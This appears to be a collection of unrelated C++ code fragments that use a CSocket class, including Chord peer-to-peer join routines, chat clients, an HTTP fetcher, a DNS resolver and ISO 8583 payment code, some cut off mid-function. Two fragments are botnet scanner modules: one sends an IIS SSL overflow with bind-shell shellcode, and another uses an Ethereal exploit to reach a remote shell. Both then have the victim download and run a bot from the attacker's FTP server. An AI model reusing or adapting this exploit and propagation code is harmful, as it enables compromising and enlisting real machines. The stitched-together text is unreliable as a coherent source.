/* 更新新加入节点的前继节点的后继和后继的后继, * 以及新加入节点的后继节点的前继和前继的前继 */ void Join::update_neighbour() { theApp.scout<<"++++update neighbour++++"<<endl; int suc = peer->fingerTable.sucId; string sucIp = peer->fingerTable.sucIP; int sucPort = peer->fingerTable.sucPort; int pre = peer->fingerTable.preId; string preIp = peer->fingerTable.preIP; int prePort = peer->fingerTable.prePort; //更新前继节点的后继和后继的后继 stringstream ss1,ss2,ss3,ss4,ss5,ss6; ss1<<peer->fingerTable.port;ss2<<sucPort;ss3<<prePort; ss4<<peer->getId();ss5<<suc;ss6<<pre; string cmd = "newSuc " + peer->fingerTable.ip + " " + ss1.str() + " " + ss4.str() + " " + ss5.str() + " " + sucIp + " " + ss2.str(); CSocket socket; socket.Connect(preIp.c_str(),prePort); socket.WriteLine(cmd); socket.Close(); //更新后继节点的前继和前继的前继 cmd = "newPre " + peer->fingerTable.ip + " " + ss1.str() + " " + ss4.str() + " " + ss6.str() + " " + preIp + " " + ss3.str(); socket.Connect(sucIp.c_str(),sucPort); socket.WriteLine(cmd); socket.Close(); //更新前继的前继和后继的后继,他们只需要部分字段 suc_suc_pre_pre(); }
/* 更新新加入节点的前继的前继和后继的后继 * 通过向前继节点发出yourpre命令找出前继的前继,向后继节点发出yoursuc命令找出后继的后继 */ void Join::init_suc_suc_pre_pre() { //后继的后继 string cmd = "yoursuc"; CSocket socket; socket.Connect(peer->fingerTable.sucIP.c_str(),peer->fingerTable.sucPort); socket.WriteLine(cmd); string k = socket.ReadLine(); vector<string> s = Tool::Split(k," "); peer->fingerTable.sucsucIP = s[0]; peer->fingerTable.sucsucPort = atoi(s[1].c_str()); peer->fingerTable.sucsucId = atoi(s[2].c_str()); socket.Close(); theApp.scout<<"@@@@@@@@@@@@@@@"<<endl; //前继的前继 cmd = "yourpre"; socket.Connect(peer->fingerTable.preIP.c_str(),peer->fingerTable.prePort); socket.WriteLine(cmd); k = socket.ReadLine(); s = Tool::Split(k," "); peer->fingerTable.prepreIP = s[0]; peer->fingerTable.preprePort = atoi(s[1].c_str()); peer->fingerTable.prepreId = atoi(s[2].c_str()); socket.Close(); }
int main(int argc, char* argv[]){ CSocket csocket; cout<<"Input The Server IP: "; cin>>serverIp; bool connect=csocket.Connect(serverIp,serverPort); csocket.SetBlocking(false); if(connect) { csocket.printTime();cout<<"connected"<<endl; uintptr_t threadId=_beginthread(recv,0,&csocket);//启动一个线程接收数据的线程 while(1) { char buf[BUF_LEN]; cin>>buf; csocket.Send(buf,strlen(buf)); if(csocket.IsExit()) { csocket.Close(); cout<<"exit success"<<endl; break; } } }else {
void SendNotification(CModule& module, const CString& sSender, const CString& sNotification, const CChan *pChannel) { // todo parse from m_sPushEndpoint bool bUseTLS = true; CString sHostname = "api.palaverapp.com"; unsigned short uPort = 443; CString sPath = "/1/push"; CString sJSON = "{"; sJSON += "\"message\": \"" + sNotification.Replace_n("\"", "\\\"") + "\""; sJSON += ",\"sender\": \"" + sSender.Replace_n("\"", "\\\"") + "\""; if (pChannel) { sJSON += ",\"channel\": \"" + pChannel->GetName().Replace_n("\"", "\\\"") + "\""; } sJSON += "}"; CSocket *pSocket = new CSocket(&module); pSocket->Connect(sHostname, uPort, bUseTLS); pSocket->Write("POST " + sPath + " HTTP/1.1\r\n"); pSocket->Write("Host: " + sHostname + "\r\n"); pSocket->Write("Authorization: Bearer " + GetToken() + "\r\n"); pSocket->Write("Connection: close\r\n"); pSocket->Write("User-Agent: ZNC\r\n"); pSocket->Write("Content-Type: application/json\r\n"); pSocket->Write("Content-Length: " + CString(sJSON.length()) + "\r\n"); pSocket->Write("\r\n"); pSocket->Write(sJSON); pSocket->Close(Csock::CLT_AFTERWRITE); module.AddSocket(pSocket); }
void CTcpClientDlg::OnGetSource() { CSocket s; if(!s.Create()) { AfxMessageBox("소켓 생성 실패"); return; } if(!s.Connect("www.google.com", 80)) { AfxMessageBox("접속 실패!"); return ; } //GET 명령으로 데이터를 얻어옴 //GET 명령 형식 : GET 대상URL HTTP/1.0 <enter><enter> char * cmd = "GET / HTTP/1.0\r\n\r\n"; s.Send(cmd, strlen(cmd)); char buf[100]; ZeroMemory(buf, 100); while(s.Receive(buf, 1000)) { AfxMessageBox(buf); ZeroMemory(buf, 1000); } }
void CEditServer::OnGetcgi() { CSocket socket; CArchive*in; CArchive*out; CSocketFile* pFile; if (!socket.Create()) { return; } while (!socket.Connect(GETCGI_HOST,GETCGI_PORT)) { return; } pFile = new CSocketFile(&socket); in = new CArchive(pFile,CArchive::load); out = new CArchive(pFile,CArchive::store); CString str= "GET "; str += GETCGI_PATH; str += " HTTP/1.0\n\n"; out->Write(str, str.GetLength()); out->Flush(); CString line; int count=0; CString n,h,p; while (in->ReadString(line)) { int c=line.Find("####"); if (c==-1) continue; n=line.Left(c); line=line.Mid(c+4); c=line.Find("####"); if (c==-1) continue; h=line.Left(c); p=line.Mid(c+4); m_name[count]=n; m_host[count]=h; m_port[count]=atoi(p); count++; } if (count!=0) m_count=count; in->Close(); out->Close(); pFile->Close(); socket.Close(); delete out; delete in; delete pFile; UpdateList(); m_list.SetCurSel(0); return; }
/*更新前继的前继和后继的后继*/ void Join::suc_suc_pre_pre() { CSocket socket; socket.Connect(peer->fingerTable.sucsucIP.c_str(),peer->fingerTable.sucsucPort); string cmd = "set_your_pre_pre "; stringstream ss,ss1;ss<<peer->getId();ss1<<peer->getPort(); cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str()); socket.WriteLine(cmd); socket.Close(); socket.Connect(peer->fingerTable.prepreIP.c_str(),peer->fingerTable.preprePort); cmd = "set_your_suc_suc "; cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str()); socket.WriteLine(cmd); socket.Close(); }
BOOL TestConnection( LPCTSTR lpstrAddress, int nPort) { CSocket* pSocket; pSocket = new CSocket; ASSERT(pSocket); if (!pSocket->Create()) { delete pSocket; pSocket = NULL; return FALSE; } while (!pSocket->Connect( lpstrAddress, nPort)) { delete pSocket; pSocket = NULL; return FALSE; } pSocket->Close(); delete pSocket; return TRUE; }
void CNetworkTalkClientDlg::OnBtnSend() { // TODO: Add your control notification handler code here CSocket sockClient; sockClient.Create(); sockClient.Connect(m_serverIPAddress,8000); g_serverIPAddress=m_serverIPAddress; sockClient.Send(m_sendText,m_sendText.GetLength()); sockClient.Close(); }
/*根据ip和port来寻找pre*/ string Join::findPre(string ip, int port) { CSocket socket; socket.Connect(ip.c_str(),port);//连接服务器 string cmd = "yourpre"; socket.WriteLine(cmd); //读取查询结果 string result = socket.ReadLine(); theApp.scout<<result<<endl; return result; }
/*在要连接的节点的后继节点链表中,找出离新节点最近且是新节点的前继的节点*/ string Join::findClosestPrecedingFinger(int id, string remoteIp, int remotePort) { stringstream ss; ss<<id; string cmd = "closestprecedingfinger " + ss.str(); CSocket socket; socket.Connect(remoteIp.c_str(),remotePort); socket.WriteLine(cmd); //读取查询结果 string result = socket.ReadLine(); theApp.scout<<result<<endl; return result; }
bool CScannerHTTP::ExploitIISSSL(int iHTTPType) { unsigned int i; unsigned char *badbuf, *p; unsigned long offset=0x6741a1cd, XOR=0xffffffff; if(g_pMainCtrl->m_pBot->scaninfo_level.iValue >= 2) { SendLocal("%s: scanning ip %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } char sslshit[]="\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00"; /* hidden cmd.exe, bind port 1981 */ char shellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99"; badbuf=(unsigned char*)malloc(347); memset(badbuf, 0, 347); p=badbuf; memcpy(p, sslshit, sizeof(sslshit)); p+=sizeof(sslshit)-1; strcat((char*)p, jumper); strcat((char*)p, greetings_to_microsoft); offset^=XOR; strncat((char*)p, (char*)&offset, 4); strcat((char*)p, shellcode); if(!m_sSocket.Write((char*)badbuf, 346)) { m_sSocket.Disconnect(); return false; } Sleep(1000); CSocket outSocket; if(!outSocket.Connect(m_sSocket.m_szHost, 1981)) { if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) SendLocal("%s: Not vulnerable: %s", m_sScannerName.CStr(), m_sSocket.m_szHost); m_sSocket.Disconnect(); return false; } /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* Thanks to PhaTTy for this piece of code :) */ char mkdir_buff[400]=""; int iPort=g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue; /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ sprintf(mkdir_buff, "echo open %s %d > bla.txt\necho user blah blah >> bla.txt\necho binary >> bla.txt\necho get %s >> bla.txt\necho quit >> bla.txt\nftp.exe -n -s:bla.txt\n%s\n", g_pMainCtrl->m_pIRC->m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe"); char szRecvBuf[8192]; if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) { m_sSocket.Disconnect(); outSocket.Disconnect(); return false; } Sleep(500); if(!outSocket.Write((char *) mkdir_buff, sizeof(mkdir_buff))) { m_sSocket.Disconnect(); outSocket.Disconnect(); return false; } /* successful!!! */ if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) { SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } m_sSocket.Disconnect(); return true; }
/* * 新节点加入拓扑时,需要把本属于它的key的hash从别的节点上转移过来 */ void Join::transfer_keys() { theApp.scout<<"++++ In the transfer key++++"<<endl; int sucId = peer->fingerTable.sucId; string sucIp = peer->fingerTable.sucIP; int sucPort = peer->fingerTable.sucPort; stringstream ss1,ss2,ss3,ss4;ss1<<peer->fingerTable.port;ss2<<peer->getId();ss3<<peer->fingerTable.preId; string cmd = "transfer_key " + peer->fingerTable.ip + " " + ss1.str() + " " + ss2.str() + " " + ss3.str(); if (sucId == peer->getId()) return; CSocket socket; socket.Connect(peer->fingerTable.sucIP.c_str(),peer->fingerTable.sucPort); socket.WriteLine(cmd); socket.Close(); }
int main(int argc, char* argv[]){ CSocket csocket; CPacket packet; int Command; char* sendMessage = new char[BUF_LEN]; parse_arguments(argc, argv); if (!s_serverPort) { cout<<"! The server port number is not defined."<<endl; usage(argv[0]); return 1; } if (!s_serverIP) { cout<<"! The server ip address is not defined"<<endl; usage(argv[0]); return 1; } bool connect=csocket.Connect(s_serverIP,s_serverPort); csocket.SetBlocking(false);//设置阻塞模式 //on_login_reply(!connect); if(connect) { cout<<"Connect the server success,please login."<<endl; show_prompt(); uintptr_t threadId=_beginthread(recv,0,&csocket);//启动一个线程接收数据的线程 while(1) { char buf[BUF_LEN]; cin>>buf; if (Command = packet.paseArguement(buf)) { memset(sendMessage, 0, 1024); sendMessage = packet.getCommand(Command); } show_prompt(); csocket.Send(sendMessage,sizeof(buf)); //csocket.Receive(64); if(csocket.IsExit()) { csocket.Close(); cout<<"exit success"<<endl; break; } } } else {
bool CScannerEthereal::Exploit() { if(!IsPrivate(g_pMainCtrl->m_pIRC->m_sLocalIp.CStr()) && IsPrivate(m_sSocket.m_szHost)) return false; // We need root to exploit this cause we need to spoof packets if(getuid()) return false; ExploitInt(0); ExploitInt(1); ExploitInt(2); ExploitInt(3); CSocket sShellSocket; if(sShellSocket.Connect(m_sSocket.m_szHost, 31337)) { CString sCmdBuf; sShellSocket.RecvTO(sCmdBuf.GetBuffer(8192), 8192, 2000); sCmdBuf.Format("echo -e open %s %d\\nuser ftp bla\\nget bot\\nquit\\n | ftp -n\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue); sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192); sCmdBuf.Format("wget ftp://bla:bla@%s:%d/bot\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue); sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192); sCmdBuf.Assign("chmod 777 ./bot ; ./bla\n"); sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192); sShellSocket.Disconnect(); return true; } else return false; }
/* 更新环上每一个节点的FingerTable中的后继列表 */ void Join::update_others() { theApp.scout<<"++++update others++++"<<endl; int localId = peer->getId(); string localIp = peer->fingerTable.ip; int localport = peer->fingerTable.port; int suc = peer->fingerTable.sucId; string sucIp = peer->fingerTable.sucIP; int sucPort = peer->fingerTable.sucPort; stringstream ss,ss1;ss<<localport;ss1<<localId; string cmd = "new_node " + localIp + " " + ss.str() + " " + ss1.str(); CSocket socket; socket.Connect(sucIp.c_str(),sucPort); socket.WriteLine(cmd); socket.Close(); }
void CTestThreadedServer::Process(SOCK sock) { // CConn_SocketStream's destructor will take care of closing sock. CConn_SocketStream stream(sock, eTakeOwnership); string message; stream << "Hello!" << endl; stream >> message; stream << "Goodbye!" << endl; if (message == "Goodbye!") { m_ShutdownRequested = true; // try to connect back because the request is asynchronous. CSocket socket; if (socket.Connect("localhost", GetPort()) == eIO_Success) { socket.Close(); } } }
int Wusock() { CSocket sock; int fd = sock.Connect("./USOCK"); if (fd < 0) { printf("Connect failed:%s \n", strerror(errno)); return -1; } gettimeofday(&time_c, NULL); while (true) { if (_HandleSignal() < 0) break; gettimeofday(&time_a, NULL); memcpy(wbuff, &time_a, sizeof(time_a)); nRet = write(fd, wbuff, g_len); gettimeofday(&time_b, NULL); if (nRet != g_len) { printf("write fialed %s\n", strerror(errno)); return -1; } g_count0++; unsigned long long use_time0 = (time_b.tv_sec - time_a.tv_sec) * 1000000 + (time_b.tv_usec - time_a.tv_usec); total_time0 += use_time0; if(g_usleep > 0) usleep(g_usleep); } double time = (time_b.tv_sec-time_c.tv_sec)*1000000 + (time_b.tv_usec - time_c.tv_usec); double speed = (double)g_count0/time; printf("speed:%lf unit/s \n", speed*1000000); return 0; }
int CPayment::SendPaymentData(LPCTSTR sfxm,LONG Money,LPCTSTR bz) { bool bIsStand = true; szPayState = "3";//请求正在处理 //组包 CIso8583Package *package = new CIso8583Package(); if (package == NULL) { szPayState = "E7"; return -1; //不成功,返回错误码 } char c48Field[255]; memset(c48Field,0,sizeof(c48Field)); if( strcmp(sfxm,"3001") == 0) { bIsStand = false; const char *split = "|"; char *pTemp = new char[128]; strcpy(pTemp,bz); char *pToken = strtok (pTemp,split); if( pToken == NULL ) return -1; int nOffset = strlen(pToken); memcpy(c48Field,pToken,strlen(pToken)); pToken = strtok(NULL,"|"); if( pToken == NULL ) return -1; memcpy(c48Field + nOffset,pToken,strlen(pToken)); nOffset += strlen(pToken); pToken = strtok(NULL,"|"); if( pToken == NULL ) return -1; memcpy(c48Field + nOffset,pToken,strlen(pToken)); nOffset += strlen(pToken); pToken = strtok(NULL,"|"); if( pToken == NULL ) return -1; memcpy(c48Field + nOffset,pToken,strlen(pToken)); nOffset += strlen(pToken); package->SetFieldData(48,nOffset,(BYTE *)c48Field);//48域,目前随便填写,银联无法处理该业务 } else {//处理其他收费项目 int nOffset = 0; nOffset = strlen(sfxm); memcpy(c48Field,sfxm,nOffset); memcpy(c48Field + nOffset,bz,strlen(bz)); nOffset += strlen(bz); package->SetFieldData(48,nOffset,(BYTE *)c48Field);//48域,目前随便填写,银联无法处理该业务 } int iRes = BuildPackage(package,Money); if (iRes != 0) { szPayState = "E7"; return iRes; //组包不成功,返回错误码 } BYTE cHeader[30]; int nOffset = 0; AscToBcd(cHeader + nOffset,(unsigned char *)szTPDU.GetBuffer(),szTPDU.GetLength()); nOffset += szTPDU.GetLength() / 2; AscToBcd(cHeader + nOffset,(unsigned char *)szHeader.GetBuffer(),szHeader.GetLength()); nOffset += szHeader.GetLength() / 2; cHeader[nOffset] = 0x02; nOffset += 1; cHeader[nOffset] = 0x00; nOffset += 1; BYTE cData[512]; memset(cData,0,512); unsigned int nLen = package->GetData(cData,512,cHeader,nOffset,false); delete package; char cLen[5] = {'\0'}; itoa_hex(nLen,cLen,2); unsigned char cDataLen[3] = {'\0'}; AscToBcd(cDataLen,(unsigned char *)cLen,4); BYTE cPackageData[512]; memset(cPackageData,0,sizeof(cPackageData)); memcpy(cPackageData,cDataLen,2); memcpy(cPackageData + 2,cData,nLen); TCHAR szCurPath[MAX_PATH]; GetCurrentDirectory(sizeof(szCurPath),szCurPath); _tcscat(szCurPath,TEXT("\\Reversal.ini")); CSocket client; if( client.InitSocket() == FALSE) { szPayState = "E7"; return -1; } if( client.Connect(szServerIP,atoi(szPort)) == false) { szPayState = "E7"; return -1; } gLog.Log(cPackageData,nLen + 2); client.Send(cPackageData,nLen + 2); BYTE RecvData[1024]; memset(RecvData,0,1024); nLen = client.Receive(RecvData,1024); if(nLen != 0) { gLog.Log(RecvData,nLen); CIso8583Parse *receivePackage = new CIso8583Parse(); char cResult[128]; memset(cResult,0,128); Read8583Package(receivePackage,RecvData,39,2,(BYTE *)cResult); delete receivePackage; LONG lProCode = atol(szTraceCode.GetBuffer()) + 1; unsigned char cAsciiBuff[12]; memset(cAsciiBuff,0,sizeof(cAsciiBuff)); BinToAsc(cAsciiBuff,lProCode,6); WritePrivateProfileString(TEXT("TraceCode"),TEXT("TraceCode"),(char *)cAsciiBuff,szCurPath); if(strcmp(cResult,"A0") == 0) //根据银联网络的说法,MAC错误也需要冲正 { WritePrivateProfileString(TEXT("Reversal"),TEXT("Ack"),"A0",szCurPath); WritePrivateProfileString(TEXT("Reversal"),TEXT("Flag"),"0",szCurPath);//0 -- 未处理 CReversalTransaction transaction; transaction.SendReversalTransactionData();//冲正处理 } else if( strcmp(cResult,"05") == 0) {//认证失败 szPayState = "E2"; return -1; } else if( strcmp(cResult,"51") == 0) { szPayState = "E5"; return -1; } else if( strcmp(cResult, "55") == 0) { szPayState = "E2"; return -1; } else if( strcmp(cResult, "75") == 0) { szPayState = "E1"; return -1; } szPayState = "1";//交易成功 } else {//网络原因,消费冲正 szPayState = "E6"; WritePrivateProfileString(TEXT("Reversal"),TEXT("Ack"),"98",szCurPath);//POS终端在时限内未能收到POS中心的应答消息而引发 WritePrivateProfileString(TEXT("Reversal"),TEXT("Flag"),"0",szCurPath);//0 -- 未处理 CReversalTransaction transaction; transaction.SendReversalTransactionData();//冲正处理 } return 1;//交易成功 }
int CReversalTransaction::SendReversalTransactionData(char *pAccount,LONG Money,char *cTraceCode,char *cAck) { //组包 CIso8583Package *package = new CIso8583Package(); int iRes = BuildPackage(package,pAccount,Money,cTraceCode,cAck); if (iRes != 0) return iRes; //组包不成功,返回错误码 BYTE cHeader[30]; int nOffset = 0; AscToBcd(cHeader + nOffset,(unsigned char *)szTPDU.GetBuffer(),szTPDU.GetLength()); nOffset += szTPDU.GetLength() / 2; AscToBcd(cHeader + nOffset,(unsigned char *)szHeader.GetBuffer(),szHeader.GetLength()); nOffset += szHeader.GetLength() / 2; cHeader[nOffset] = 0x04; nOffset += 1; cHeader[nOffset] = 0x00; nOffset += 1; BYTE cData[512]; memset(cData,0,512); unsigned int nLen = package->GetData(cData,512,cHeader,nOffset,false); delete package; char cLen[5] = {'\0'}; itoa_hex(nLen,cLen,2); unsigned char cDataLen[3] = {'\0'}; AscToBcd(cDataLen,(unsigned char *)cLen,4); BYTE cPackageData[512]; memset(cPackageData,0,sizeof(cPackageData)); memcpy(cPackageData,cDataLen,2); memcpy(cPackageData + 2,cData,nLen); CSocket client; if( client.InitSocket() == FALSE) return -1; if( client.Connect(szServerIP,atoi(szPort)) == false) return -1; gLog.Log(cData,nLen); client.Send(cData,nLen); BYTE RecvData[1024]; memset(RecvData,0,1024); nLen = client.Receive(RecvData,1024); if(nLen != 0) { gLog.Log(RecvData,nLen); CIso8583Parse *receivePackage = new CIso8583Parse(); char cResult[128]; memset(cResult,0,128); Read8583Package(receivePackage,RecvData,39,2,(BYTE *)cResult); delete receivePackage; if(strcmp(cResult,"00") == 0) { TCHAR szCurPath[MAX_PATH]; GetCurrentDirectory(sizeof(szCurPath),szCurPath); _tcscat(szCurPath,TEXT("\\Reversal.ini")); WritePrivateProfileString(TEXT("Reversal"),TEXT("Account"),"",szCurPath); WritePrivateProfileString(TEXT("Reversal"),TEXT("TraceCode"),"",szCurPath); WritePrivateProfileString(TEXT("Reversal"),TEXT("Money"),"",szCurPath); WritePrivateProfileString(TEXT("Reversal"),TEXT("Ack"),"",szCurPath); WritePrivateProfileString(TEXT("Reversal"),TEXT("Flag"),"1",szCurPath);//1 -- 已处理 } } return 1; }
CString ExecuteHTTPGet (const CString &sInput) { // Parse the input char *pPos = sInput.GetParsePointer() + STR_HTTP_GET_PREFIX.GetLength(); // Parse the URL CString sHost; CString sPath; if (!urlParse(pPos, NULL, &sHost, &sPath)) return CString("Invalid URL."); // If no host, then local host if (sHost.IsEmpty()) sHost = CString("localhost"); // Connect CSocket theSocket; if (!theSocket.Connect(sHost, 80)) return strPattern("Unable to connect to: %s.", sHost); // Compose a request CHTTPMessage Request; Request.InitRequest(CString("GET"), sPath); Request.AddHeader(HEADER_HOST, sHost); Request.AddHeader(HEADER_CONNECTION, CString("keep-alive")); #ifdef DEBUG_REQUEST_FRAGMENT_X Request.AddHeader(HEADER_USER_AGENT, CString("AI1/1.0 (This is a test of the header parsing system in Hexarc. There is probably a bug in which splitting the header across packets will cause failure of the HTTP parsing engine.)")); #else Request.AddHeader(HEADER_USER_AGENT, CString("AI1/1.0")); #endif // Send the request CBuffer Buffer(4096); Request.WriteToBuffer(Buffer); #ifdef DEBUG_REQUEST_FRAGMENT int iTotalLen = Buffer.GetLength(); int iSplit = 105; if (iSplit < iTotalLen) { printf("Split at %d bytes\n", iSplit); CString sPart(Buffer.GetPointer(), iSplit); printf("%s\n", (LPSTR)sPart); theSocket.Write(Buffer.GetPointer(), iSplit); ::Sleep(10); theSocket.Write(Buffer.GetPointer() + iSplit, iTotalLen - iSplit); } else theSocket.Write(Buffer.GetPointer(), Buffer.GetLength()); #else theSocket.Write(Buffer.GetPointer(), Buffer.GetLength()); #endif // Now read the response. We build up a buffer to hold it. CHTTPMessage Response; CBuffer ResponseBuff; // Keep reading until we've got enough (or until the connection drops) while (!Response.IsMessageComplete()) { CBuffer TempBuffer(8192); // Read int iBytesRead = theSocket.Read(TempBuffer.GetPointer(), 8192); TempBuffer.SetLength(iBytesRead); // If we're no making progress, then we're done if (iBytesRead == 0) return strPattern("Unable to read entire message."); // Add to entire buffer ResponseBuff.Write(TempBuffer.GetPointer(), iBytesRead); // Parse to see if we're done if (!Response.InitFromPartialBuffer(TempBuffer)) return strPattern("Unable to parse HTTP message."); } // Done theSocket.Disconnect(); return CString(ResponseBuff.GetPointer(), ResponseBuff.GetLength()); }
boolean CDNSClient::Resolve (const char *pHostname, CIPAddress *pIPAddress) { assert (pHostname != 0); if ('1' <= *pHostname && *pHostname <= '9') { return FALSE; } assert (m_pNetSubSystem != 0); CIPAddress DNSServer (m_pNetSubSystem->GetConfig ()->GetDNSServer ()->Get ()); CSocket Socket (m_pNetSubSystem, IPPROTO_UDP); if (Socket.Connect (DNSServer, 53) != 0) { return FALSE; } u8 Buffer[DNS_MAX_MESSAGE_SIZE]; memset (Buffer, 0, sizeof Buffer); TDNSHeader *pDNSHeader = (TDNSHeader *) Buffer; u16 nXID = s_nXID++; pDNSHeader->nID = le2be16 (nXID); pDNSHeader->nFlags = BE (DNS_FLAGS_OPCODE_QUERY | DNS_FLAGS_RD); pDNSHeader->nQDCount = BE (1); u8 *pQuery = Buffer + sizeof (TDNSHeader); char Hostname[MAX_HOSTNAME_SIZE]; strncpy (Hostname, pHostname, MAX_HOSTNAME_SIZE-1); Hostname[MAX_HOSTNAME_SIZE-1] = '\0'; char *pSavePtr; size_t nLength; char *pLabel = strtok_r (Hostname, ".", &pSavePtr); while (pLabel != 0) { nLength = strlen (pLabel); if ( nLength > 255 || (int) (nLength+1+1) >= DNS_MAX_MESSAGE_SIZE-(pQuery-Buffer)) { return FALSE; } *pQuery++ = (u8) nLength; strcpy ((char *) pQuery, pLabel); pQuery += nLength; pLabel = strtok_r (0, ".", &pSavePtr); } *pQuery++ = '\0'; TDNSQueryTrailer QueryTrailer; QueryTrailer.nQType = BE (DNS_QTYPE_A); QueryTrailer.nQClass = BE (DNS_QCLASS_IN); if ((int) (sizeof QueryTrailer) > DNS_MAX_MESSAGE_SIZE-(pQuery-Buffer)) { return FALSE; } memcpy (pQuery, &QueryTrailer, sizeof QueryTrailer); pQuery += sizeof QueryTrailer; int nSize = pQuery - Buffer; assert (nSize <= DNS_MAX_MESSAGE_SIZE); unsigned char RecvBuffer[DNS_MAX_MESSAGE_SIZE]; int nRecvSize; unsigned nTry = 1; do { if ( nTry++ > 3 || Socket.Send (Buffer, nSize, 0) != nSize) { return FALSE; } CScheduler::Get ()->MsSleep (1000); nRecvSize = Socket.Receive (RecvBuffer, DNS_MAX_MESSAGE_SIZE, MSG_DONTWAIT); assert (nRecvSize < DNS_MAX_MESSAGE_SIZE); } while (nRecvSize < (int) (sizeof (TDNSHeader)+sizeof (TDNSResourceRecordTrailerAIN))); pDNSHeader = (TDNSHeader *) RecvBuffer; if ( pDNSHeader->nID != le2be16 (nXID) || (pDNSHeader->nFlags & BE ( DNS_FLAGS_QR | DNS_FLAGS_OPCODE | DNS_FLAGS_TC | DNS_FLAGS_RCODE)) != BE (DNS_FLAGS_QR | DNS_FLAGS_OPCODE_QUERY | DNS_RCODE_SUCCESS) || pDNSHeader->nQDCount != BE (1) || pDNSHeader->nANCount == BE (0)) { return FALSE; } u8 *pResponse = RecvBuffer + sizeof (TDNSHeader); // parse the query section while ((nLength = *pResponse++) > 0) { pResponse += nLength; if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } } pResponse += sizeof (TDNSQueryTrailer); if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } TDNSResourceRecordTrailerAIN RRTrailer; // parse the answer section while (1) { nLength = *pResponse++; if ((nLength & 0xC0) == 0xC0) // check for compression { pResponse++; } else { if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } while ((nLength = *pResponse++) > 0) { pResponse += nLength; if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } } } if (pResponse-RecvBuffer > (int) (nRecvSize-sizeof RRTrailer)) { return FALSE; } memcpy (&RRTrailer, pResponse, sizeof RRTrailer); if ( RRTrailer.nType == BE (DNS_QTYPE_A) && RRTrailer.nClass == BE (DNS_QCLASS_IN) && RRTrailer.nRDLength == BE (DNS_RDLENGTH_AIN)) { break; } pResponse += DNS_RR_TRAILER_HEADER_LENGTH + BE (RRTrailer.nRDLength); if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } } assert (pIPAddress != 0); pIPAddress->Set (RRTrailer.RData); return TRUE; }
